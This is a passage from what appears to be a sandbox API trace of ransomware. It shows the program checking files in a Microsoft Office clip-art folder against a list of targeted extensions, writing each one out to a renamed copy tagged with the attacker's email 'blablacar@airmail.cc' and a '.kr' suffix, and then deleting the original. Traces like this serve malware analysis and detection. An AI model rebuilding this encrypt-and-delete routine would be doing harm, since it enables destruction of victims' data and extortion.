lpString2=".MID") returned 1 [0184.757] lstrlenW (lpString=".xlsx") returned 5 [0184.757] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.757] lstrlenW (lpString=".ppt") returned 4 [0184.757] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0184.757] lstrlenW (lpString=".zip") returned 4 [0184.757] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.757] lstrlenW (lpString=".rar") returned 4 [0184.757] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.757] lstrlenW (lpString=".bz2") returned 4 [0184.757] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.757] lstrlenW (lpString=".7z") returned 3 [0184.757] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0184.757] lstrlenW (lpString=".dbf") returned 4 [0184.757] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0184.757] lstrlenW (lpString=".1cd") returned 4 [0184.757] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0184.757] lstrlenW (lpString=".jpg") returned 4 [0184.757] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.757] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.757] lstrlenW (lpString="FINCL_02.MID") returned 12 [0184.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.758] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=9318) returned 1 [0184.758] CloseHandle (hObject=0x51c) returned 1 [0184.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220 [0184.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.759] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.759] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0184.760] GetLastError () returned 0x0 [0184.760] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2466, lpOverlapped=0x0) returned 1 [0184.761] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2470, lpOverlapped=0x0) returned 1 [0184.763] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.763] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0184.763] SetEndOfFile (hFile=0x4d8) returned 1 [0184.763] CloseHandle (hObject=0x4d8) returned 1 [0184.763] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.763] SetEndOfFile (hFile=0x51c) returned 1 [0184.766] CloseHandle (hObject=0x51c) returned 1 [0184.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0184.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0184.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0184.767] lstrlenW (lpString=".doc") returned 4 [0184.767] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.767] lstrlenW (lpString=".docx") returned 5 [0184.767] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0184.767] lstrlenW (lpString=".pdf") returned 4 [0184.767] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.767] lstrlenW (lpString=".xls") returned 4 [0184.767] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.767] lstrlenW (lpString=".xlsx") returned 5 [0184.767] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0184.767] lstrlenW (lpString=".ppt") returned 4 [0184.767] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0184.767] lstrlenW (lpString=".zip") returned 4 [0184.767] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.767] lstrlenW (lpString=".rar") returned 4 [0184.767] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.767] lstrlenW (lpString=".bz2") returned 4 [0184.767] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.767] lstrlenW (lpString=".7z") returned 3 [0184.768] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0184.768] lstrlenW (lpString=".dbf") returned 4 [0184.768] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0184.768] lstrlenW (lpString=".1cd") returned 4 [0184.768] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0184.768] lstrlenW (lpString=".jpg") returned 4 [0184.768] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0184.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0184.768] lstrlenW (lpString=".doc") returned 4 [0184.768] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.768] lstrlenW (lpString=".docx") returned 5 [0184.768] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0184.768] lstrlenW (lpString=".pdf") returned 4 [0184.768] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.768] lstrlenW (lpString=".xls") returned 4 [0184.768] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.768] lstrlenW (lpString=".xlsx") returned 5 [0184.768] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0184.768] lstrlenW (lpString=".ppt") returned 4 [0184.768] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0184.768] lstrlenW (lpString=".zip") returned 4 [0184.768] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.768] lstrlenW (lpString=".rar") returned 4 [0184.768] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.768] lstrlenW (lpString=".bz2") returned 4 [0184.768] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.768] lstrlenW (lpString=".7z") returned 3 [0184.769] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0184.769] lstrlenW (lpString=".dbf") returned 4 [0184.769] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0184.769] lstrlenW (lpString=".1cd") returned 4 [0184.769] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0184.769] lstrlenW (lpString=".jpg") returned 4 [0184.769] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.769] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.769] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0184.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.771] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=7567) returned 1 [0184.771] CloseHandle (hObject=0x51c) returned 1 [0184.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220 [0184.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.771] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.771] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0184.772] GetLastError () returned 0x0 [0184.772] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0184.773] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x1d90, lpOverlapped=0x0) returned 1 [0184.774] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.775] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0184.775] SetEndOfFile (hFile=0x4d8) returned 1 [0184.775] CloseHandle (hObject=0x4d8) returned 1 [0184.775] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.775] SetEndOfFile (hFile=0x51c) returned 1 [0184.777] CloseHandle (hObject=0x51c) returned 1 [0184.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0184.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0184.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0184.778] lstrlenW (lpString=".doc") returned 4 [0184.778] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.778] lstrlenW (lpString=".docx") returned 5 [0184.778] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.778] lstrlenW (lpString=".pdf") returned 4 [0184.778] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.778] lstrlenW (lpString=".xls") returned 4 [0184.778] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.778] lstrlenW (lpString=".xlsx") returned 5 [0184.779] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.779] lstrlenW (lpString=".ppt") returned 4 [0184.779] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0184.779] lstrlenW (lpString=".zip") returned 4 [0184.779] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.779] lstrlenW (lpString=".rar") returned 4 [0184.779] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.779] lstrlenW (lpString=".bz2") returned 4 [0184.779] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.779] lstrlenW (lpString=".7z") returned 3 [0184.779] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0184.779] lstrlenW (lpString=".dbf") returned 4 [0184.779] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0184.779] lstrlenW (lpString=".1cd") returned 4 [0184.779] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0184.779] lstrlenW (lpString=".jpg") returned 4 [0184.779] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0184.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0184.779] lstrlenW (lpString=".doc") returned 4 [0184.779] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.779] lstrlenW (lpString=".docx") returned 5 [0184.779] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.779] lstrlenW (lpString=".pdf") returned 4 [0184.779] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.779] lstrlenW (lpString=".xls") returned 4 [0184.779] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.779] lstrlenW (lpString=".xlsx") returned 5 [0184.780] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.780] lstrlenW (lpString=".ppt") returned 4 [0184.780] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0184.780] lstrlenW (lpString=".zip") returned 4 [0184.780] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.780] lstrlenW (lpString=".rar") returned 4 [0184.780] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.780] lstrlenW (lpString=".bz2") returned 4 [0184.780] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.780] lstrlenW (lpString=".7z") returned 3 [0184.780] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0184.780] lstrlenW (lpString=".dbf") returned 4 [0184.780] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0184.780] lstrlenW (lpString=".1cd") returned 4 [0184.780] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0184.780] lstrlenW (lpString=".jpg") returned 4 [0184.780] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.780] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.780] lstrlenW (lpString="GRID_01.MID") returned 11 [0184.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.781] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=6331) returned 1 [0184.781] CloseHandle (hObject=0x51c) returned 1 [0184.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220 [0184.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.782] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.782] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0184.786] GetLastError () returned 0x0 [0184.786] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x18bb, lpOverlapped=0x0) returned 1 [0184.900] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x18c0, lpOverlapped=0x0) returned 1 [0184.902] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.902] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xea, lpOverlapped=0x0) returned 1 [0184.903] SetEndOfFile (hFile=0x4d8) returned 1 [0184.903] CloseHandle (hObject=0x4d8) returned 1 [0184.903] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.903] SetEndOfFile (hFile=0x51c) returned 1 [0184.906] CloseHandle (hObject=0x51c) returned 1 [0184.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0184.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0184.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0184.907] lstrlenW (lpString=".doc") returned 4 [0184.907] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.907] lstrlenW (lpString=".docx") returned 5 [0184.907] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.907] lstrlenW (lpString=".pdf") returned 4 [0184.907] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.907] lstrlenW (lpString=".xls") returned 4 [0184.907] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.907] lstrlenW (lpString=".xlsx") returned 5 [0184.907] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.907] lstrlenW (lpString=".ppt") returned 4 [0184.907] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0184.907] lstrlenW (lpString=".zip") returned 4 [0184.907] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.907] lstrlenW (lpString=".rar") returned 4 [0184.908] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.908] lstrlenW (lpString=".bz2") returned 4 [0184.908] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.908] lstrlenW (lpString=".7z") returned 3 [0184.908] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0184.908] lstrlenW (lpString=".dbf") returned 4 [0184.908] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0184.908] lstrlenW (lpString=".1cd") returned 4 [0184.908] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0184.908] lstrlenW (lpString=".jpg") returned 4 [0184.908] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0184.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0184.908] lstrlenW (lpString=".doc") returned 4 [0184.908] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.908] lstrlenW (lpString=".docx") returned 5 [0184.908] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.908] lstrlenW (lpString=".pdf") returned 4 [0184.908] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.908] lstrlenW (lpString=".xls") returned 4 [0184.908] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.908] lstrlenW (lpString=".xlsx") returned 5 [0184.908] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.908] lstrlenW (lpString=".ppt") returned 4 [0184.908] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0184.908] lstrlenW (lpString=".zip") returned 4 [0184.908] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.908] lstrlenW 